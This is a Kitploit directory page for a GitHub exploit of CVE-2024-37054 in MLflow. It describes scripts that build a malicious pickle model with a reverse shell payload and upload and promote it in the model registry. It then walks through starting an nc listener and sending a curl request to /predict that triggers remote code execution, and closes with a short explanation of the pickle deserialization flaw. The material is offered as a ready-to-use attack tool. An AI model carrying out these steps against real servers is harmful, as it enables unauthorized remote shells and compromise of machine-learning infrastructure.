Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-37054-MLflow-reverse-shell — Exploit for CVE-2024-37054: generates a malicious pickle model, uploads it to MLflow, and triggers remote code execution via the /predict endpoint. | Kitploit
Tools/GitHubGitHub/spydomain/cve-2024-37054-mlflow-reverse-shell
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubspydomain/cve-2024-37054-mlflow-reverse-shell

CVE-2024-37054-MLflow-reverse-shell

Exploit for CVE-2024-37054: generates a malicious pickle model, uploads it to MLflow, and triggers remote code execution via the /predict endpoint.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
3 months agoNot yet reviewed
Share

Tools & Files


FilePurpose
generate_model.pyGenerates malicious model.pkl with reverse shell payload
upload_model.pyUploads pickle to MLflow and promotes it to Production
sample.csvCSV file used to trigger the /predict endpoint

Usage

1. Generate the malicious pickle

Edit generate_model.py and set your tun0 IP:

root@kitploit:~
python3 generate_model.py

2. Start a listener

root@kitploit:~
nc -lvnp 4444

3. Upload the malicious model

Edit upload_model.py:

  • Set MLFLOW to http://127.0.0.1:5000
  • Set MODEL_NAME to the active model name found on the main domain
root@kitploit:~
python3 upload_model.py

4. Trigger execution

Get a fresh session cookie from the client app, then:

root@kitploit:~
curl -X POST http://127.0.0.1:80/predict \
  -H "Cookie: session=<YOUR_SESSION_COOKIE>" \
  -F "[email protected]"

Shell catches on your listener.


Key Vulnerability

Pickle Deserialization via MLflow Model Registry

MLflow loads registered models using Python's pickle.load(). By uploading a crafted pickle as a model artifact and promoting it to Production, any subsequent call to /predict deserializes the payload server-side, achieving unauthenticated RCE as the application user.

References

  • MLflow REST API Docs
  • Python Pickle Deserialization
Download Tool